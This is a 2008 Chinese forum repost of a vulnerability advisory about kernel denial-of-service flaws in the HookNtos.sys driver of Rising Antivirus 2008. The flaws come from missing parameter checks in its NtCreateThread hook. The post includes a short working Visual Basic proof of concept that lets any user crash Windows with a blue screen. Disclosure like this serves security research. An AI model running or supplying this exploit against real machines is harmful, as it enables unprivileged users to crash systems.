|
初生襁褓狮
|
发表于:
2008-10-10 18:45
|
显示全部
短消息
资料
[转帖]瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞。
瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞。 瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞 2008-10-02 13:39 瑞星杀毒软件 2008 (以下简称瑞星) 是一款号称基于新一代虚拟机脱壳引擎、采用三层主动防御策略开发的新一代信息安全产品。 令人遗憾的是, 其最新版本 20.64.30 及以下所有版本的驱动程序中存在多处内核拒绝服务漏洞, 可使任何权限用户在安装了瑞星杀毒软件 2008 的系统上引发蓝屏。 出问题的组件: HookNtos.sys 版本 22.0.0.50 CheckSum=0001A3C5 TimeStamp=4886D5D8 瑞星在对 SSDT HOOK 时, 存在多处参数检查不全面, 用户态传入无效地址即可导致驱动出错, 引发系统崩溃, 蓝屏重启。 示例函数: NtCreateThread 函数 NtCreateThread 的原型是: NTSTATUS NtCreateThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PUSER_STACK UserStack, IN BOOLEAN CreateSuspended ) 瑞星在其 Hook 函数中, 没有任何检查地使用了 ThreadContext->Eip, 这样, 如果我们传入一个错误 ThreadContext 地址, 就会引发崩溃, 蓝屏重启. 值得注意的是, 瑞星在使用 ThreadContext->Eip 之前, 判断了 ProcessHandle 有效且不指向当前进程, 故我们需要传入一个合法的其它进程的句柄. 测试代码: Declare Function OpenProcess Lib "kernel32" (ByVal a As Long, ByVal b As Long, ByVal c As Long) As Long Declare Function ZwCreateThread Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long, ByVal h As Long) As Long Sub Main() MsgBox "瑞星杀毒软件 2008 内核漏洞演示 by iceboy" ZwCreateThread 0, 0, 0, OpenProcess(1024, 0, Shell("notepad.exe")), 0, 0, 0, 0 End Sub 用户态任意权限的程序运行此代码后, 即可引发系统蓝屏重启
|
http://hi.baidu.com/iceboy_ 用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MAXTHON 2.0)
 ヤ吵吵o 最后编辑于 2008-10-10 18:46:01
|